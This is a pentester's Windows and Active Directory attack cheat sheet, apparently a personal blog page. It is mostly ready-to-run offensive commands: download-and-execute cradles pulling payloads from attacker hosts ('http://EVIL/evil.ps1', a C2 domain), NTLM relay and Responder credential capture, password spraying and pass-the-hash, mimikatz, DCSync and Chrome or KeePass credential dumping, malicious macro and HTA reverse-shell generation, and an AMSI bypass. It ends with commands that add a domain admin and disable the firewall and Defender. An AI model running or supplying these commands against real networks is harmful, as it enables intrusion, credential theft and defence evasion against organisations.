Penetration Tester

© 2020

Windows Notes / Cheatsheet

A place for me to store my notes/tricks for Windows Based Systems.

Note: These notes are heavily based off other articles, cheat sheets and guides etc. I just wanted a central place to store the best ones.

The best Active Directory resource out there -> https://zer1t0.gitlab.io/posts/attacking_ad/

Table of Contents:



net users
net users /domain
net localgroup
net groups /domain
net groups /domain "Domain Admins"

Get-DomainGroupMember -identity "Domain Admins" -Domain m0chanAD.local -DomainController

#Host Discovery
netdiscover -r subnet/24
nbtscan -r [range]
for /L %i in (1,1,255) do  @ping.exe -n 1 -w 50 <10.10.10>.%i | findstr TTL

#Reverse DNS Lookup
$ComputerIPAddress = ""


Users with SPN

Get-DomainUser -SPN

Get-ADComputer -filter {ServicePrincipalName -like <keyword>} -Properties OperatingSystem,OperatingSystemVersion,OperatingSystemServicePack,

Kerberos Enumeration

nmap $TARGET -p 88 --script krb5-enum-users --script-args krb5-enum-users.realm='test'

Red-Team CSharp Scripts



Usage: ldaputility.exe options domain [arguments]

ldaputility.exe DumpAllUsers m0chan
ldaputility.exe DumpUser m0chan mr.un1k0d3r
ldaputility.exe DumpUsersEmail m0chan
ldaputility.exe DumpAllComputers m0chan 
ldaputility.exe DumpComputer m0chan DC01
ldaputility.exe DumpAllGroups m0chan
ldaputility.exe DumpGroup m0chan "Domain Admins"
ldaputility.exe DumpPasswordPolicy m0chan

Also WMIUtility.cs for WMI Calls & LDAPQuery.cs for Raw LDAP Queries.

See github linked above for full details.

Active Directory

nltest /DCLIST:DomainName
nltest /DCNAME:DomainName
nltest /DSGETDC:DomainName

# Get Current Domain Info - Similar to Get-Domain

# Get Domain Trust Info - Similar to Get-DomainTrust

# View Domain Info

#  View Domain Trust Information
([System.DirectoryServices.ActiveDirectory.Forest]::GetForest((New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext('Forest', 'forest-of-interest.local')))).GetAllTrustRelationships()

nltest [server:<fqdn_foreign_domain>] /domain_trusts /all_trusts /v

nltest /dsgetfti:<domain>

nltest /server:<ip_dc> /domain_trusts /all_trusts


# View All Domain Controllers
nltest /dclist:offense.local
net group "domain controllers" /domain

# View DC for Current Session
nltest /dsgetdc:m0chanAD.local

# View Domain Trusts from CMD
nltest /domain_trusts

# View User Info from CMD
nltest /user:"m0chan"

# get domain name and DC the user authenticated to

# Get All Logged on Sessions, Includes NTLM & Kerberos
klist sessions

# View Kerb Tickets

# View Cached Krbtgt
klist tgt

# whoami on older Windows systems
set u

#List all Usernames

#List Administrators


#List all Info about Specific User


#View All Users with Description Field Set

([adsisearcher]"(&(objectClass=group)(samaccountname=*))").FindAll().Properties | % { Write-Host $_.samaccountname : $_.description }

AD Enumeration from Linux Box - AD Tool


tar zxvf adtools-1.x.tar.gz
cd adtools-1.x
make install

> adtool list ou=user,dc=example,dc=com

> adtool oucreate marketing ou=user,dc=example,dc=com
> adtool useradd jsmith ou=marketing,ou=user,dc=example,dc=com
> adtool setpass jsmith banana
> adtool unlock jsmith
> adtool groupadd allusers jsmith
> adtool attributereplace jsmith telephonenumber 123
> adtool attributereplace jsmith mail jsmith@example.com

SharpView Enumeration



SMB Enumeration

nmap -p 139,445 --script smb.nse,smb-enum-shares,smbls
smbmap -H
smbclient //INSERTIPADDRESS/tmp
smbclient \\\\INSERTIPADDRESS\\ipc$ -U john
smbclient //INSERTIPADDRESS/ipc$ -U john
smbclient //INSERTIPADDRESS/admin$ -U john
nbtscan [SUBNET]

#Check for SMB Signing
nmap --script smb-security-mode.nse -p 445 

SNMP Enumeration

snmpwalk -c public -v1
snmpcheck -t -c public
onesixtyone -c names -i hosts
nmap -sT -p 161 -oG snmp_results.txt
snmpenum -t

MySQL Enumeration

nmap -sV -Pn -vv -p 3306 --script mysql-audit,mysql-databases,mysql-dump-hashes,mysql-empty-password,mysql-enum,mysql-info,mysql-query,mysql-users,mysql-variables,mysql-vuln-cve2012-2122

DNS Zone Transfer

dig axfr blah.com @ns1.m0chan.com
nslookup -> set type=any -> ls -d m0chan.com
dnsrecon -d m0chan -D /usr/share/wordlists/dnsmap.txt -t std --xml ouput.xml


ldapsearch -H ldap://<ip>

RPC Enumeration

rpcclient -U ""
enumalsgroups domain
lookupnames administrators
queryuser <user>
lookupnames Guest
lookupnames Administrator

Remote Desktop

rdesktop -u guest -p guest INSERTIPADDRESS -g 94%

# Brute force
ncrack -vv --user Administrator -P /root/oscp/passwords.txt rdp://INSERTIPADDRESS

File Transfer


m0chan Machine
mkdir tftp
atftpd --deamon --port 69 tftp
cp *file* tftp
On victim machine:
tftp -i <[IP]> GET <[FILE]>


echo open <[IP]> 21 > ftp.txt
echo USER demo >> ftp.txt
echo ftp >> ftp.txt
echo bin >> ftp.txt
echo GET nc.exe >> ftp.txt
echo bye >> ftp.txt
ftp -v -n -s:ftp.txt

VBS Script

echo strUrl = WScript.Arguments.Item(0) > wget.vbs
echo StrFile = WScript.Arguments.Item(1) >> wget.vbs
echo Dim http,varByteArray,strData,strBuffer,lngCounter,fs,ts >> wget.vbs
echo Err.Clear >> wget.vbs
echo Set http = Nothing >> wget.vbs
echo Set http = CreateObject("WinHttp.WinHttpRequest.5.1") >> wget.vbs
echo If http Is Nothing Then Set http = CreateObject("WinHttp.WinHttpRequest") >> wget.vbs
echo If http Is Nothing Then Set http = CreateObject("MSXML2.ServerXMLHTTP") >> wget.vbs
echo If http Is Nothing Then Set http = CreateObject("Microsoft.XMLHTTP") >> wget.vbs
echo http.Open "GET",strURL,False >> wget.vbs
echo http.Send >> wget.vbs
echo varByteArray = http.ResponseBody >> wget.vbs
echo Set http = Nothing >> wget.vbs
echo Set fs = CreateObject("Scripting.FileSystemObject") >> wget.vbs
echo Set ts = fs.CreateTextFile(StrFile,True) >> wget.vbs
echo strData = "" >> wget.vbs
echo strBuffer = "" >> wget.vbs
echo For lngCounter = 0 to UBound(varByteArray) >> wget.vbs
echo ts.Write Chr(255 And Ascb(Midb(varByteArray,lngCounter + 1,1))) >> wget.vbs
echo Next >> wget.vbs
echo ts.Close >> wget.vbs

cscript wget.vbs <url> <out_file>

Use echoup function on pentest.ws to generate echo commands.


#https://github.com/danielbohannon/Invoke-CradleCrafter Use this to craft obsufacted cradles

Invoke-WebRequest "https://server/filename" -OutFile "C:\Windows\Temp\filename"

(New-Object System.Net.WebClient).DownloadFile("https://server/filename", "C:\Windows\Temp\filename") 

#Powershell Download to Memory

IEX(New-Object Net.WebClient).downloadString('http://server/script.ps1')

#Powershell with Proxy

$browser = New-Object System.Net.WebClient;
$browser.Proxy.Credentials = [System.Net.CredentialCache]::DefaultNetworkCredentials;

Powershell Base64

$fileName = "Passwords.kdbx"
$fileContent = get-content $fileName
$fileContentBytes = [System.Text.Encoding]::UTF8.GetBytes($fileContent)
$fileContentEncoded = [System.Convert]::ToBase64String($fileContentBytes)
$fileContentEncoded | set-content ($fileName + ".b64")

Secure Copy / pscp.exe

pscp.exe C:\Users\Public\m0chan.txt user@target:/tmp/m0chan.txt
pscp.exe user@target:/home/user/m0chan.txt C:\Users\Public\m0chan.txt


cmd.exe /c "bitsadmin.exe /transfer downld_job /download /priority high http://c2.m0chan.com C:\Temp\mimikatz.exe & start C:\Temp\binary.exe"

Remote Desktop

rdesktop -r disk:linux='/home/user/filetransferout'

WinHTTP Com Object

$h=new-object -com WinHttp.WinHttpRequest.5.1;$h.open('GET','http://EVIL/evil.ps1',$false);$h.send();iex $h.responseText


#File Transfer

certutil.exe -urlcache -split -f https://m0chan:8888/filename outputfilename

#CertUtil Base64 Transfers

certutil.exe -encode inputFileName encodedOutputFileName
certutil.exe -decode encodedInputFileName decodedOutputFileName

Curl (Windows 1803+)

curl http://server/file -o file
curl http://server/file.bat | cmd

IEX(curl http://server/script.ps1);Invoke-Blah


python smbserver.py Share `pwd` -u m0chan -p m0chan --smb-2support


Code Execution with MSHTA

mshta.exe is a default binary shipped on all versions of Windows which allows the execution of .hta payloads

mshta.exe https://m0chan.com/exploit.hta

LLMNR / NBT-NS Spoofing

#Responder to Steal Creds

git clone https://github.com/SpiderLabs/Responder.git python Responder.py -i local-ip -I eth0

LLMNR and NBT-NS is usually on by default and there purpose is to act as a fallback to DNS. i/e if you search \\HRServer\ but it dosent exist, Windows (by default) will send out a LLMNR broadcast across the network. By using Responder we can respond to these broadcasts and say something like

'Yeah I'm HRServer, authenticate to me and I will get a NTLMv2 hash which I can crack or relay. More on relaying below'

Responder WPAD Attack

responder -I eth0 wpad

By default, Windows is configured to search for a Web Proxy Auto-Discovery file when using the internet

Go to internet explorer and search for Google which automatically searches for a WPAD file... 

Then take NTLMv2 hash and NTLM Relay it or send to cracking rig. 


#Use when WPAD attack is not working, this uses IPv6 and DNS to relay creds to a target. 

By default IPV6 should be enabled. 
git clone https://github.com/fox-it/mitm6.git 
cd /opt/tools/mitm6
pip install .

mitm6 -d m0chanAD.local

Now the vuln occurs, Windows prefers IPV6 over IPv4 meaning DNS = controlled by attacker. 

ntlmrelayx.py -wh webserverhostingwpad:80 -t smb://TARGETIP/ -i

-i opens an interactive shell.

Shout out to hausec for this super nice tip.

SCF File Attack

Create .scf file and drop inside SMB Share and fire up Responder ;) 

Filename = @m0chan.scf



Good article explaining differences between NTLM/Net-NTLMV1&V2


TL;DR NTLMv1/v2 is a shorthand for Net-NTLMv1/v2 and hence are the same thing.

You CAN perform Pass-The-Hash attacks with NTLM hashes.
You CANNOT perform Pass-The-Hash attacks with Net-NTLM hashes.

PS: You CANNOT relay a hash back to itself.
PS: SMB Signing must be disabled to mitigate this, you can check with nmap scan or crackmapexec

crackmapexec smb --gene-relay-list targets.txt

This will tell you a list of hosts within a subnet which do not have SMB Signing enabled.

python Responder.py -I <interface> -r -d -w
ntlmrelayx.py -tf targets.txt (By default this will dump the local SAM of the targets, not very useful?)

How about we execute a command instead.

ntlmrelayx.py -tf targets.txt -c powershell.exe -Enc asdasdasdasd
ntlmrelayx.py -tf targets.txt -c powershell.exe /c download and execute beacon... = RIP

Priv Exchange


Combine privxchange.py and ntlmrelayx

ntlmrelayx.py -t ldap://DOMAINCONTROLLER.m0chanAD.local --escalate-user TARGETUSERTOESCALATE

python privexchange.py -ah FDQN.m0chanAD.local DOMAINCONTROLLER.m0chanAD.local -u TARGETUSERTOESCALATE -d m0chanAD.local

Exchange Password Spray


Invoke-PasswordSprayOWA -ExchHostname EXCH2012.m0chanAD.local -UserList .\users.txt -Password Winter2019


./ruler-linux64 -domain mc0hanAD.local --insecure brute --userpass userpass.txt -v



An NTLM relay tool to the EWS endpoint for on-premise exchange servers. Provides an OWA for hackers.

./exchangeRelayx.py -t https://mail.quickbreach.com

Exchange Mailbox Post-Compromise


Enumerate GlobalAddressList

Get-GlobalAddressList -ExchHostname EXCH2012.m0chanAD.local -Username jamie@m0chanAD.local -Password Winter2019

Enumerate AD Usernames

Get-ADUsernameFromEWS -Emaillist .\users.txt

Enumerate Mailbox Folders

Get-MailboxFolders -Mailbox jamie@m0chanAD.local

Enumerate Passwords & Credentials Stored in Emails

Invoke-SelfSearch -Mailbox jamie@m0chanAD.local

Enumerate Passwords & Credentials (Any Users) Requires DA or Exchange Admin

Invoke-GlobalMailSearch -ImpersonationAccount helenHR -ExchHostname Exch2012


CrackMapExec is installed on Kali or get Windows Binary from Github.

Has 3 Execution Methods
crackmapexec smb <- Creating and Running a Service over SMB
crackmapexec wmi <- Executes command over WMI
crackmapexec at <- Schedules Task with Task Scheduler

Can execute plain commands with -X flag i/e 

crcakmapexec smb -x whoami

crcakmapexec smb <- Host Discovery
crackmapexec smb -u user -p 'Password' 
crackmapexec smb -u user -p 'Password' --pass-pol
crackmapexec smb -u user -p 'Password' --shares

Can also PTH with CME

crackmapexec smb -u user -H e8bcd502fbbdcd9379305dca15f4854e

cme smb -u Administrator -H aad3b435b51404eeaad3b435b51404ee:e8bcd502fbbdcd9379305dca15f4854e --local-auth --shares 

--local-auth is for Authenticating with Local Admin, good if Organisaton uses same local admin hash through network and not using LAPS

Dump Local SAM hashes

crackmapexec smb -u user -p 'Password' --local-auth --sam

Running Mimikatz 

crackmapexec smb -u user -p 'Password' --local-auth -M mimikatz

^ Very noisy but yes you can run mimikatz across a WHOLE network range. RIP Domain Admin

Enum AV Products

crackmapexec smb -u user -p 'Password' --local-auth -M enum_avproducts

Mail Sniper

Invoke-PasswordSprayOWA -ExchHostname m0chanAD.local -userlist harvestedUsers.txt -password Summer2019

[*] Now spraying the OWA portal at https://m0chanAD.local/owa/

[*] SUCCESS! User:m0chan:Summer2019

Lmao, you really think Id use the pass Summer2019?

Read Exchange Emails with PowerShell

$outlook = New-Object -ComObject outlook.application
$olFolders ="Microsoft.Office.Interop.Outlook.OlDefaultFolders" -as [type]
$namespace = $Outlook.GetNameSpace("MAPI")
$inbox = $namespace.GetDefaultFolder($olFolders::olFolderInbox)

Kerberos Stuff


MSSQL Exploiting (PowerUpSQL)


#View SQL Instances
Get-SQLInstanceDomain [| Get-SQLServerInfo]

#Login in with Domain Account

#Login in with Default Password

#List DB, Tables & Columns

Get-SQLInstanceDomain | Get-SQLDatabase
Get-SQLInstanceDomain | Get-SQLTable -DatabaseName <DB_name>
Get-SQLInstanceDomain | Get-SQLColumn -DatabaseName <DB_name> -TableName <Table_name>

#Search Column Names for Word

Get-SQLInstanceDomain | Get-SQLColumnSampleData -Keywords "<word1,word2>" -Verbose -SampleSize 10

#Try to Execute Commands (RCE)


#Enable XP_CMDShell Process

EXEC sp_configure 'show advanced options', 1;  
EXEC sp_configure 'xp_cmdshell', 1;  
xp_cmdshell '<cmd>'

Malicious Macro with MSBuild


#https://lolbas-project.github.io/lolbas/Binaries/Msbuild/ - MSBuild Explained

Creation of a Shellcode MSBuild VBA Macro
python m3-gen.py -p shellcode -i /path/beacon.bin -o output.vba

Creation of a PowerShell MSBuild VBA Macro
python m3-gen.py -p powershell -i /path/payload.ps1 -o output.vba

Creation of a Custom MSBuild VBA Macro
python m3-gen.py -p custom -i /path/msbuild.xml -o output.vba

Creation of a Shellcode MSBuild VBA Macro With Kill Date
python m3-gen.py -p shellcode -i /path/beacon.bin -o output.vba -k 20/03/2018

Creation of a Shellcode MSBuild VBA Macro With Environmental Keying
python m3-gen.py -p shellcode -i /path/beacon.bin -o output.vba -d yourdomain
python m3-gen.py -p shellcode -i /path/beacon.bin -o output.vba -d yourdomain, microsoft, github

ClickOnce MSBuild Payload


1) Create a new .NET Framework console project in Visual Studio
2) Import Program.cs from this repository
3) Add the MSBuild payload file to the project
4) Publish the project

WeirdHTA - Undetectable HTA


python3 --help
python3 weirdhta.py 4444 --normal (for normal powershell reverse_shell)
python3 weirdhta.py 4444 --smb (without powershell payload, it will use smb)
python3 weirdhta.py 4444 --powercat (for powercat)
python3 weirdhta.py 4444 --command 'c:\windows\system32\cmd.exe' (custom command)



Ultimate Shell for WinRM Connections

Usage: evil-winrm -i IP -u USER [-s SCRIPTS_PATH] [-e EXES_PATH] [-P PORT] [-p PASS] [-U URL] [-S] [-c PUBLIC_KEY_PATH ] [-k PRIVATE_KEY_PATH ]
    -S, --ssl                        Enable SSL
    -c, --pub-key PUBLIC_KEY_PATH    Local path to public key certificate
    -k, --priv-key PRIVATE_KEY_PATH  Local path to private key certificate
    -s, --scripts PS_SCRIPTS_PATH    Powershell scripts local path
    -e, --executables EXES_PATH      C# executables local path
    -i, --ip IP                      Remote host IP or hostname (required)
    -U, --url URL                    Remote url endpoint (default /wsman)
    -u, --user USER                  Username (required)
    -p, --password PASS              Password
    -P, --port PORT                  Remote host port (default 5985)
    -V, --version                    Show version
    -h, --help                       Display this help message



PowerShell script to find 'vulnerable' security-related GPOs that should be hardened (for more background, see the GPO discoverability section of this blog: https://sdmsoftware.com/group-policy-blog/security-related/security-fun-bloodhound-ms16-072-gpo-discoverability/) Requires GPMC & SDM Software GPMC PowerShell Module (used to more easily parse GP settings during the search): https://s3.amazonaws.com/sdmsoftware.com/dl/SDM-GPMC-Module2.0Setup.zip



Encodes a PowerShell script in the pixels of a PNG file and generates a oneliner to execute

Invoke-PSImage takes a PowerShell script and encodes the bytes of the script into the pixels of a PNG image. It generates a oneliner for executing either from a file of from the web.

PS>Import-Module .\Invoke-PSImage.ps1
PS>Invoke-PSImage -Script .\Invoke-Mimikatz.ps1 -Out .\evil-kiwi.png -Image .\kiwi.jpg
   [Oneliner to execute from a file]
PS>Import-Module .\Invoke-PSImage.ps1
PS>Invoke-PSImage -Script .\Invoke-Mimikatz.ps1 -Out .\evil-kiwi.png -Image .\kiwi.jpg -WebRequest
   [Oneliner to execute from the web]

Meterpreter + Donut - Shellcode Injection .NET


A module for executing arbitrary shellcode within Meterpreter aka executing Mimikatz in-memory, reflectively and interactively!

donut -f /tmp/mimikatz.exe -a 2 -o /tmp/payload.bin

use post/windows/manage/shellcode_inject
set SHELLCODE /tmp/payload.bin

DemiGuise - Encrypted HTA


Run the demiguise.py file, giving it your encryption-key, payload-type, output file-name and command that you want the HTA run.

Example: python demiguise.py -k hello -c "notepad.exe" -p Outlook.Application -o

Since the tool outputs an HTML file containing JavaScript, you can simply take this JS and host it wherever you like. This means that if your clients website is vulnerable to reflected-XSS, you can use this to serve your HTA file from their (highly trusted) domain.

Also, Outlook doesnt block .html attachments by default , and neither do some other applications - use your imagination! :)



Find vulnerabilities in AD Group Policy

Grouper2 is a tool for pentesters to help find security-related misconfigurations in Active Directory Group Policy.

Microsoft SQL Stuff


CrackMapExec Stuff


Command Execution - CMD.exe

crackmapexec -u Administrator -p 'P@ssw0rd' -x whoami

Command Execution - Powershell.exe

crackmapexec -u Administrator -p 'P@ssw0rd' -x whoami

Check For Logged in Users

crackmapexec -u 'Administrator' -p 'PASS' --lusers

Using Local Auth

crackmapexec -u 'Administrator' -p 'PASSWORD' --local-auth

Enumerating Shares

crackmapexec -u 'Administrator' -p 'PASSWORD' --local-auth --shares

WDigest Enable/Disable

'This allows us to re-enable the WDigest provider and dump clear-text credentials from LSA memory'

crackmapexec -u 'Administrator' -p 'PASS' --local-auth --wdigest enable
crackmapexec -u 'Administrator' -p 'PASS' --local-auth --wdigest disable

Password Policy

crackmapexec -u 'Administrator' -p 'PASS --pass-pol

RID Bruteforcing

crackmapexec -u 'Administrator' -p 'PASS --rid-brute

Top Credential Attacks

crackmapexec -u 'Administrator' -p 'PASS' --local-auth --sam

Pass Hash Subnet

cme smb -u administrator -H 'aad3b435b51404eeaa35b51404ee:5509de4fa6e8d9f4a61100e51' --local-auth

Null Sessions

crackmapexec smb <target(s)> -u '' -p ''

Modules - Enum_Chrome

sudo cme -u 'Administrator' -p 'PASS' --local-auth -M enum_chrome

Modules - Enum_AV

sudo cme -u 'Administrator' -p 'PASS' --local-auth -m enum_avproducts

SharePoint Stuff


IIS Stuff


Everything you need for Hacking IIS, recent talk from Shubs

Easy ASMI Bypass (AMSI-Fail)

1. Open powershell, grab a unique AMSI bypass from: https://amsi.fail/

2. Grab your favourite C# assembly from: https://github.com/S3cur3Th1sSh1t/PowerSharpPack/blob/master/PowerSharpBinaries/ these are just the standard C# executables but in a powershell wrapper for reflection.

3. Host these locally and execute via IEX (New-Object net.webclient).downloadstring("http://x.x.x.x./Invoke-Seatbelt.ps1")

Privilege Escalation

Reference: https://www.absolomb.com/2018-01-26-Windows-Privilege-Escalation-Guide/

Run this script: https://github.com/M4ximuss/Powerless/blob/master/Powerless.bat


wmic qfe
net users
net localgroups
echo %logonserver%
netsh firewall show state
netsh firewall show config
netstat -an
type C:\Windows\system32\drivers\etc\hosts

PowerUp.ps1 (Sometimes a Quick Win)

powershell.exe /c IEX(New-Object Net.WebClient).downloadString('webserver/PowerUp.ps1') ;Invoke-AllChecks



C Sharp Implementation of PowerUp.ps1 which can be reflectively loaded.

If It’s AD Get Bloodhound Imported…

SharpHound.exe -> https://github.com/BloodHoundAD/SharpHound


Invoke-CollectionMethod All

Import .zip to Bloodhound

If you can't exfil the .zip... Find a way ;) I joke, I joke. Output as plain json and copy over manually. It's a big big pain but it works.


git clone https://github.com/fox-it/BloodHound.py.git
cd BloodHound.py/ && pip install .

bloodhound-python -d m0chanAD.local -u m0chan -p Summer2019 -gc DOMAINCONTROLLER.m0chanAD.local -c all

Cleartext Passwords

# Windows autologin
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon"

reg query "HKCU\Software\ORL\WinVNC3\Password"

# SNMP Parameters
reg query "HKLM\SYSTEM\Current\ControlSet\Services\SNMP"

# Putty
reg query "HKCU\Software\SimonTatham\PuTTY\Sessions"

# Search for password in registry
reg query HKLM /f password /t REG_SZ /s
reg query HKCU /f password /t REG_SZ /s

View Installed Software

tasklist /SVC
net start

dir /a "C:\Program Files"
dir /a "C:\Program Files (x86)"

Get-ChildItem 'C:\Program Files', 'C:\Program Files (x86)' | ft Parent,Name,LastWriteTime

Get-ChildItem -path Registry::HKEY_LOCAL_MACHINE\SOFTWARE | ft Name

Weak Folder Permissions

Full Permissions for 'Everyone' on Program Folders

icacls "C:\Program Files\*" 2>nul | findstr "(F)" | findstr "Everyone"
icacls "C:\Program Files (x86)\*" 2>nul | findstr "(F)" | findstr "Everyone"

icacls "C:\Program Files\*" 2>nul | findstr "(F)" | findstr "BUILTIN\Users"
icacls "C:\Program Files (x86)\*" 2>nul | findstr "(F)" | findstr "BUILTIN\Users" 

Modify Permissions for Everyone on Program Folders

icacls "C:\Program Files\*" 2>nul | findstr "(M)" | findstr "Everyone"
icacls "C:\Program Files (x86)\*" 2>nul | findstr "(M)" | findstr "Everyone"

icacls "C:\Program Files\*" 2>nul | findstr "(M)" | findstr "BUILTIN\Users" 
icacls "C:\Program Files (x86)\*" 2>nul | findstr "(M)" | findstr "BUILTIN\Users" 

Scheduled Tasks

schtasks /query /fo LIST /v

Powershell History

type C:\Users\m0chan\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
cat (Get-PSReadlineOption).HistorySavePath
cat (Get-PSReadlineOption).HistorySavePath | sls passw

View Connected Drives

net use
wmic logicaldisk get caption,description

Get-PSDrive | where {$_.Provider -like "Microsoft.PowerShell.Core\FileSystem"}| ft Name,Root

View Privs

whoami /priv

Look for SeImpersonate, SeDebugPrivilege etc

Is Anyone Else Logged In?


View Registry Auto-Login

reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon" 2>nul | findstr "DefaultUserName DefaultDomainName DefaultPassword"

Get-ItemProperty -Path 'Registry::HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\WinLogon' | select "Default*"

View Stored Creds in Credential Manager

cmdkey /list
dir C:\Users\username\AppData\Local\Microsoft\Credentials\
dir C:\Users\username\AppData\Roaming\Microsoft\Credentials\

Get-ChildItem -Hidden C:\Users\username\AppData\Local\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\username\AppData\Roaming\Microsoft\Credentials\

View Unquoted Service Paths

wmic service get name,displayname,pathname,startmode 2>nul |findstr /i "Auto" 2>nul |findstr /i /v "C:\Windows\\" 2>nul |findstr /i /v """

gwmi -class Win32_Service -Property Name, DisplayName, PathName, StartMode | Where {$_.StartMode -eq "Auto" -and $_.PathName -notlike "C:\Windows*" -and $_.PathName -notlike '"*'} | select PathName,DisplayName,Name

View Startup Items

wmic startup get caption,command
reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Run
reg query HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce
reg query HKCU\Software\Microsoft\Windows\CurrentVersion\Run
reg query HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce
dir "C:\Documents and Settings\All Users\Start Menu\Programs\Startup"
dir "C:\Documents and Settings\%username%\Start Menu\Programs\Startup"

Check for AlwaysInstalledElevated Reg Key

reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
Get-ItemProperty HKLM\Software\Policies\Microsoft\Windows\Installer
Get-ItemProperty HKCU\Software\Policies\Microsoft\Windows\Installer
reg query HKLM\Software\Policies\Microsoft\Windows\Installer
reg query HKCU\Software\Policies\Microsoft\Windows\Installer

Any Passwords in Registry?

reg query HKCU /f password /t REG_SZ /s
reg query HKLM /f password /t REG_SZ /s 

Any Sysrep or Unattend Files Left Over

dir /s *sysprep.inf *sysprep.xml *unattended.xml *unattend.xml *unattend.txt 2>nul

Get-Childitem Path C:\ -Include *unattend*,*sysprep* -File -Recurse -ErrorAction SilentlyContinue | where {($_.Name -like "*.xml" -or $_.Name -like "*.txt" -or $_.Name -like "*.ini")}

GPP (Group Policy Preferences) Passwords

smbclient //DOMAINCONTROLLER.local/SYSVOL -U m0chan


http://www.sec-1.com/blog/wp-content/uploads/2015/05/gp3finder_v4.0.zip - For Decryption

Can also use PowerUP.ps1

Dump Chrome Passwords (Also Post Exploit)

#git clone https://github.com/rasta-mouse/CookieMonster

CookieMonster creds
CookieMonster.exe cookies -d [domain] -e 
CookieMonster -a 

Must be run in the context of the target users as chrome passwords are encrypted with DPAPI.

Can also use Mimikatz for this.

mimikatz dpapi::chrome /in:"C:\Users\m0chan\AppData\Local\Google\Chrome\UserData\Default\Login Data"

mimikatz dpapi::chrome /in:"C:\Users\m0chan\AppData\Local\Google\Chrome\UserData\Default\Login Data" /unprotect

mimikatz dpapi::chrome /in:"C:\Users\m0chan\AppData\Local\Google\Chrome\UserData\Default\Cookies" /unprotect

Dump KeePass


Get-Process keepass
tasklist | findstr keepass

Attacking KeePass

Import-Module KeeThief.ps1
Get-KeePassDatabaseKey -Verbose

KeeTheft.exe, Microsoft.Diagnostics.Runtime.dll & KeePatched.exe can also be used.

Token Impersonation


Invoke-TokenManipulation -ImpersonateUser -Username "lab\domainadminuser"
Get-Process wininit | Invoke-TokenManipulation -CreateProcess "cmd.exe"

Can also use incognito from meterpreter to steal access/delegation tokens and impersonate users. (Requires Admin/SYSTEM Privs)

#Tokenvator https://github.com/0xbadjuju/Tokenvator

Reflectively Load it with Powershell, Cobalt, SilentTrinity etc...

$wc=New-Object System.Net.WebClient;$wc.Headers.Add("User-Agent","Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:49.0) Gecko/20100101 Firefox/49.0");$wc.Proxy=[System.Net.WebRequest]::DefaultWebProxy;$wc.Proxy.Credentials=[System.Net.CredentialCache]::DefaultNetworkCredentials
[System.Reflection.Assembly]::Load($b) | Out-Null
$parameters=@("arg1", "arg2")

Reflectively Load .NET Assembly within Powershell if you cant do it through your C2 Infra

Juicy Potato

#Requires SeImpersonatePrivilege (Typically found on service accounts IIS Service, SQL Service etc)

#Reference https://ohpe.it/juicy-potato/

Requirements: SeAssignPrimaryTokenPrivilege and/or SeImpersonatePrivilege

(new-object System.Net.WebClient).DownloadFile('','C:\Program Files\Microsoft SQL Server\MSSQL12.SQLEXPRESS\MSSQL\Backup\JuicyPotato.exe')

JuicyPotato.exe -l 1337 -p C:\Users\Public\Documents\Mochan.exe -t * -c {5B3E6773-3A99-4A3D-8096-7765DD11785C}

Mochan.exe = Payload
5B3E6773-3A99-4A3D-8096-7765DD11785C = Target CLISD

A CLSID is a GUID that identifies a COM class object

Can also use -A flag to specify arguments alongside cmd.exe/powershell.exe etc



#Check my Blog Post Kerberos Attacks in Depth for Further Information

Get-DomainSPNTicket -Credential $cred -OutputFormat hashcat

because Hashcat over John anyday right?


python GetUserSPNs.py -request -dc-ip m0chanad.local/serviceaccount

Ofc the above requires access to Port 88 on the DC but you can always port forward if executing GetUserSPNs.py manually.

https://github.com/GhostPack/SharpRoast --NOW Deprecated-- and incorproated into Rebeus with the kerberoast action

Kerberoast with Python


IMPORTANT: the accepted formats are the following
<ldap_connection_string> : <domainname>/<username>/<secret_type>:<secret>@<DC_ip>
<kerberos_connection_string>: <kerberos realm>/<username>/<secret_type>:<secret>@<DC_ip>

Look for vulnerable users via LDAP
kerberoast ldap all <ldap_connection_string> -o ldapenum

Use ASREP roast against users in the ldapenum_asrep_users.txt file
kerberoast asreproast <DC_ip> -t ldapenum_asrep_users.txt

Use SPN roast against users in the ldapenum_spn_users.txt file
kerberoast spnroast <kerberos_connection_string> -t ldapenum_spn_users.txt

AS Rep Roasting

#Accounts have to have DONT_REQ_PREAUTH explicitly set for them to be vulnerable

Get-ASRepHash -Domain m0chanAD.local -User victim

Can also use Rebeus (Reflectively Load .NET Assembly.)

.\Rubeus.exe asreproast

DCSync (Also Post Exploit)

#Special rights are required to run DCSync. Any member of Administrators, Domain Admins, or Enterprise Admins as well as Domain Controller computer accounts are able to run DCSync to pull password data. Note that Read-Only Domain Controllers are not  allowed to pull password data for users by default. 

#and anyone with the Replicating Changes permissions set to Allow (i.e., Replicating Changes All/Replicating Directory Changes)

mimikatz # lsadump::dcsync /domain:corp.local /user:Administrator

powershell.exe -Version 2 -Exec Bypass /c "IEX (New-Object Net.WebClient).DownloadString(''); Invoke-DCSync -PWDumpFormat"

Empire Module: powershell/credentials/mimikatz/dcsync_hashdump

Elevate to System Shell from Admin Account using Windows Terminal


PsExec.exe -i -s "C:\Program Files\WindowsApps\Microsoft.WindowsTerminal.X.X\WindowsTerminal.exe"

Post Exploitation

Useful Commands

net user m0chan /add /domain
net localgroup Administrators m0chan /add

# Enable RDP
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f

Turn firewall off
netsh firewall set opmode disable

Or like this
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f

If you get this error:

CredSSP Error Fix ->

Add this reg key:

reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v UserAuthentication /t REG_DWORD /d 0 /f

Disable Windows Defender
Set-MpPreference -DisableRealtimeMonitoring $true

